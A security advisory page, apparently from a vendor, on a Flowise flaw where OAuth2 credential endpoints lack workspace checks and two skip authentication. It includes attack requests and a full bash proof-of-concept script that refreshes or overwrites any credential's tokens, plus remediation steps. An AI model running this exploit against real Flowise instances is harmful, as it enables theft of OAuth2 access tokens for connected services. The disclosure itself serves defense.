Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-wch5-xp77-fxg4 flowise

GHSA-wch5-xp77-fxg4 is a CWE-863 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.

Flowise: Cross-Workspace OAuth2 Credential Metadata Leak

Also known asCVE-2026-70474
Published
Aug 4, 2026
Updated
Aug 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-wch5-xp77-fxg4.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
flowisenpm
2Kdownloads / week

Description

Summary

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:

  1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
  2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
  3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:

packages/server/src/routes/oauth2/index.ts:80-82 (authorize)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:183-185 (callback)

const credential = await credentialRepository.findOneBy({
    id: state as string
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:314-316 (refresh)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:

packages/server/src/services/credentials/index.ts:130-132

const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId,
    workspaceId: workspaceId  // <-- Workspace scoping present
})

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41

export const WHITELIST_URLS = [
    // ...
    '/api/v1/oauth2-credential/callback',   // line 40
    '/api/v1/oauth2-credential/refresh',     // line 41
    // ...
]

packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:

const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
    next()  // No JWT verification, no API key check
}

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.

POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
  "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.

GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)

The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):

await credentialRepository.update(credential.id, {
    encryptedData,      // Contains attacker-controlled token data
    updatedDate: new Date()
})

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.

POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "tokenInfo": {
    "access_token": "new-access-token-value",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T12:00:00.000Z"
  }
}

The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.


Proof of Concept

Prerequisites

  • A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
  • An OAuth2 credential configured in Workspace B (the victim)
  • The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)

Step 1 — Confirm unauthenticated refresh endpoint is reachable

# No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json"

Expected result if credential exists and has a refresh token:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "tokenInfo": {
    "access_token": "<VALID_ACCESS_TOKEN>",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T..."
  }
}

Expected result if credential not found:

{
  "success": false,
  "message": "Credential not found"
}

Step 2 — Cross-workspace authorize (requires any valid session)

# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
  -H "Cookie: ${ATTACKER_COOKIE}" \
  -H "Content-Type: application/json"

Expected result — victim credential's OAuth2 config is leaked:

{
  "success": true,
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
  "redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}

Step 3 — Forge callback to inject attacker-controlled tokens

# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.

curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"

The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

#!/usr/bin/env bash
set -euo pipefail

# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target:     ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""

# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
  "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json")

HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)

if [ "${HTTP_CODE}" = "200" ]; then
  echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
  echo "    Response: ${BODY}" | head -c 500
  echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
  echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
  echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)"
  echo "    This still confirms the endpoint is reachable without auth"
else
  echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
echo ""

# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER_COOKIE}" ]; then
  echo "[2] Attempting cross-workspace authorize..."
  AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
    "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
    -H "Cookie: ${ATTACKER_COOKIE}" \
    -H "Content-Type: application/json")

  HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1)
  BODY=$(echo "${AUTH_RESP}" | head -n -1)

  if [ "${HTTP_CODE}" = "200" ]; then
    echo "[!] VULNERABLE — Cross-workspace credential access confirmed"
    echo "    Leaked authorization URL:"
    echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo "    ${BODY}" | head -c 500
  else
    echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
  fi
else
  echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""

# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \
  "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}")

HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1)

# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token_exchange_failed" means the endpoint processed the request
# (tried to exchange the code) — it just failed at the external provider.
if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
  echo "[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)"
else
  echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})"
  echo "    The server attempted to process the OAuth2 callback."
  echo "    With a valid authorization code, tokens would be written to the credential."
fi

echo ""
echo "=== PoC Complete ==="

Impact

VectorAuth RequiredImpact
Credential metadata leak via /authorizeLow (any session)Exposes client_id, scope, redirect_uri from any workspace's credential
Token injection via /callbackNoneOverwrite any credential's stored OAuth2 tokens with attacker-controlled values
Token theft via /refreshNoneObtain a fresh access_token for any credential's connected service (Microsoft 365, Google, etc.)

Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.


Affected Components

FileLinesIssue
packages/server/src/routes/oauth2/index.ts80-82findOneBy({ id }) — no workspaceId
packages/server/src/routes/oauth2/index.ts183-185findOneBy({ id: state }) — no workspaceId
packages/server/src/routes/oauth2/index.ts314-316findOneBy({ id }) — no workspaceId
packages/server/src/utils/constants.ts40/callback whitelisted from auth
packages/server/src/utils/constants.ts41/refresh whitelisted from auth

Remediation

  1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:
// Before (vulnerable)
const credential = await credentialRepository.findOneBy({ id: credentialId })

// After (fixed)
const credential = await credentialRepository.findOneBy({
    id: credentialId,
    workspaceId: req.user?.activeWorkspaceId
})
  1. Remove /callback and /refresh from WHITELIST_URLS or implement a signed, time-limited state token that authenticates the callback without a session.

  2. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).

  3. Do not return access_token in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.


Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.1.3npm install flowise@3.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wch5-xp77-fxg4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-wch5-xp77-fxg4 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-wch5-xp77-fxg4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Three OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows: 1. **Cross-workspace credential access** — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. **Unauthenticated token injection** — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. **Unauthenticated token refresh** — An unauthenticated attacker can refresh tokens for any credential. ---
O3 Security · Impact-Aware SCA

Is GHSA-wch5-xp77-fxg4 in your dependencies?

O3 Security finds GHSA-wch5-xp77-fxg4 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-wch5-xp77-fxg4: flowise Auth Bypass | O3 Security